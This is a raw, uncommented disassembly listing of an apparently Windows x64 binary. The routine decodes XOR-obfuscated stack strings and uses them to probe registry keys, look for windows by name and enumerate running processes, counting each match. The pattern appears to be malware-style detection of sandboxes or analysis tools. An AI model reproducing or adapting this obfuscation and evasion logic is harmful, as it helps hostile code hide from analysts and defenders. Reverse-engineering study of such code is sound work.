mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xac5d5a28f15db6a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x4e0f00bb730c12d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rcx, 0xb4d9ee567817f69c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1500], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1508], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1510], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1518], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1520], rax
movabs rax, 0xac025a70f112b6ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1528], rax
movabs rax, 0x4e0f00bb730c128b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1530], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1538], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x1500]
vmovdqa ymmword [rbp + 0x540], ymm1
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x1520]
vmovdqa ymmword [rbp + 0x560], ymm1
vzeroupper
call fcn.14003cde0
xor r8d, r8d
lea rdx, [rbp + 0x540]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140033ea4
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140033f57
mov rcx, qword [rbp + 0xc78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xae46f08be9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1080], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1088], rax
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xac0]
call fcn.140012260
nop
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xac0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x7446ad3b5ad737b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0x5cc17ebe8d833be1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x64588c94b4c33901
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0xd8975cc10c3bc635
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xac5d5a28f15db6a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x4e0f00bb730c12d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rdx, 0xb4d9ee567817f69c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e0], rax
movabs rax, 0xac025a70f112b6ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e8], rax
movabs rax, 0x4e0f00bb730c128b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x14f8], rax
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x14c0]
vmovdqa ymmword [rbp + 0x580], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x14e0]
vmovdqa ymmword [rbp + 0x5a0], ymm1
vzeroupper
call fcn.14003cde0
xor r8d, r8d
lea rdx, [rbp + 0x580]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140034138
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400341eb
mov rcx, qword [rbp + 0xc70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xae46f088e9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfb0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xfb8], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
xorps xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0x3b0], xmm0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x900]
call fcn.140012260
nop
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x900]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x7446ad3b5ad737b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x5cc17ebe8d833be1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x644a8c80b4c33901
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0xd8975cc10c3bc635
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xac5d5a28f15db6a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x4e0f00bb730c12d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rcx, 0xb4d9ee567817f69c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1560], rax
movabs rdi, 0x5c847eec8dc23bb6
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1568], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1570], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1578], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1580], rax
movabs rax, 0xac025a70f112b6ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1588], rax
movabs rax, 0x4e0f00bb730c128b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1590], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1598], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1560]
vmovdqa ymmword [rbp + 0x5c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1580]
vmovdqa ymmword [rbp + 0x5e0], ymm1
vzeroupper
call fcn.14003cde0
xor r8d, r8d
lea rdx, [rbp + 0x5c0]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x1400343cc
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14003447f
mov rcx, qword [rbp + 0xc68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xae46f089e9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11b8], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x11b0]
movdqa xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0xa80]
call fcn.140012260
nop
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xa80]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003ef70
test eax, eax
je 0x140034524
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xae46f086e9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11c8], rax
movdqa xmm0, xmmword [rbp + 0x3d0]
xorps xmm0, xmmword [rbp + 0x11c0]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0xa60]
call fcn.140012260
nop
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xa60]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x4d3b825a68b901cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rdx, 0x7402ad695a9637fd
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x11d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x11d8], rax
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x11d0]
movdqa xmmword [rbp + 0x440], xmm0
movabs rax, 0x7476ad1a5aef37ae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0x5ced7eae8daf3bd3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0xb2b47ed389be93e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0x64198cd2b4fa393c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
movabs r9, 0xb2d57e9789cd9387
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs r8, 0x64198cd2b49f3948
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
vmovdqu ymm0, ymmword [rbp + 0x1460]
vpxor ymm0, ymm0, ymmword [rbp + 0x660]
vmovdqu ymmword [rbp + 0x660], ymm0
movabs rax, 0x7446ad3b5ad737b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0x5cc17ebe8d833be1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0xb2867ed2898993db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rax, 0x64498c9bb4cd390b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0xd88f5cd20c26c625
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rax, 0xac715a09f141b6b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0x4e0f00d6736912ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rcx, 0xb4d9ee567817f69c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x15a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x15a8], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x15b0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x15b8], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c0], rax
movabs rax, 0xac025a70f112b6ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c8], rax
movabs rax, 0x4e0f00bb730c128b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x15d8], rax
vmovdqu ymm0, ymmword [rbp + 0x15a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x740], ymm0
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x15c0]
vmovdqa ymmword [rbp + 0x760], ymm1
lea r9, [rbp + 0x440]
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x740]
vzeroupper
call fcn.14003cc40
test eax, eax
je 0x1400348a2
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xae46f087e9830a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11e8], rax
movdqa xmm0, xmmword [rbp + 0x3e0]
xorps xmm0, xmmword [rbp + 0x11e0]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xa40]
call fcn.140012260
nop
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xa40]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003fcd0
movabs rbx, 0xc9335664c2c02e4b
test eax, eax
je 0x140034951
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xae46f08ff58a0860
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11f8], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
xorps xmm0, xmmword [rbp + 0x11f0]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xa20]
call fcn.140012260
nop
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xa20]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.1400403f0
test eax, eax
je 0x1400349f6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0xae46f08cf58a0860
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1200], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1208], rax
movdqa xmm0, xmmword [rbp + 0x400]
xorps xmm0, xmmword [rbp + 0x1200]
movdqa xmmword [rbp + 0x400], xmm0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0xa00]
call fcn.140012260
nop
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xa00]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r12
mov r8d, 1
lea rdx, [0x1401017b0]
lea rcx, [rbp + 0x2c0]
call fcn.140016e10
nop
lea rcx, [rbp + 0x2c0]
call fcn.14003d240
movzx ebx, al
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x140034a78
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034a73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036052
call fcn.1400a6630
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c0], 0
test bl, bl
je 0x140034b31
movabs rax, 0xd92b4864c2c02e4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1210], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1218], rax
movdqa xmm0, xmmword [rbp + 0x410]
xorps xmm0, xmmword [rbp + 0x1210]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x8e0]
call fcn.140012260
nop
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x8e0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.140041330
test eax, eax
je 0x140034be0
movabs rax, 0xcc2f4164c2c02e4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0xae46f0bee383026f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10f8], rax
movdqa xmm0, xmmword [rbp + 0x420]
xorps xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x8c0]
call fcn.140012260
nop
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x8c0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.1400418e0
test eax, eax
je 0x140034ced
movabs rax, 0xce2f4b64c2c02e4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rax, 0xcf2e83e1fb940e71
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0x65783f99f821031d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rcx, 0x914116c474b5c6f0
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1300], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1308], rax
movabs rax, 0x65783f99f821666f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1310], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1318], rax
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x1300]
vmovdqa ymmword [rbp + 0x680], ymm1
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x8a0]
vzeroupper
call fcn.140012260
nop
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x8a0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs r15, 0x747aad065ad437ab
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rsi, 0x5cfd7e8d8db03be2
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rdi, 0xb2b97ef889a293d3
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x645a8cb6b4f1391f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xd8b25cee0c0ec61d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rcx, 0xac025a70f112b6ea
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1260], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1268], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1270], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1278], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1280], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1288], rax
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1260]
vmovdqa ymmword [rbp + 0x7e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x800]
vxorps xmm0, xmm0, xmmword [rbp + 0x1280]
vmovdqa xmmword [rbp + 0x800], xmm0
xor edx, edx
lea rcx, [rbp + 0x7e0]
vzeroupper
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x6a8], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x6b0], rcx
movabs rax, 0x64198cb6b4f1391f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1320], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1328], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1330], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1338], rax
vmovdqu ymm0, ymmword [rbp + 0x1320]
vpxor ymm0, ymm0, ymmword [rbp + 0x6a0]
vmovdqu ymmword [rbp + 0x6a0], ymm0
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_FindWindowW]
test rbx, rbx
jne 0x140034f36
test rax, rax
je 0x140034fec
movabs rax, 0xdb385164c2c02e4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0xae319fdafe8f167f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs r15, 0xba4a253bbaaf4c3d
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10e0], rax
movabs rsi, 0xae46f0be90e66106
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10e8], rax
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x430], xmm0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x860]
call fcn.140012260
nop
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x860]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
mov ebx, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140035306
mov dword [rbp + 0xd70], 0x238
lea rdx, [rbp + 0xd70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140035033
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140035306
movabs rsi, 0x747aad065af4378b
movabs rcx, 0x64198cb7b4e7392d
movabs r15, 0x5cf27e9e8da73bc5
movabs r14, 0xb2fb7ef289ae93ee
nop dword [rax + rax]
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
vmovdqu ymm0, ymmword [rbp + 0x1340]
vpxor ymm0, ymm0, ymmword [rbp + 0x6c0]
vmovdqu ymmword [rbp + 0x6c0], ymm0
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0xd9c]
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove ebx, eax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0x5cfd7e8d8db03bc2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rax, 0xb2b07eef89a893a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
movabs rcx, 0x64198cd2b49f3948
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1370], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1378], rax
vmovdqu ymm0, ymmword [rbp + 0x1360]
vpxor ymm0, ymm0, ymmword [rbp + 0x600]
vmovdqu ymmword [rbp + 0x600], ymm0
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0xd9c]
vzeroupper
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove ebx, eax
lea rdx, [rbp + 0xd70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
movabs rcx, 0x64198cb7b4e7392d
jne 0x140035060
test ebx, ebx
mov r14d, dword [rbp + 8]
movabs rsi, 0xae46f0be90e66106
movabs r15, 0xba4a253bbaaf4c3d
je 0x140035306
movabs rax, 0xd5385564c2c02e4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xae4683dbe3950465
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
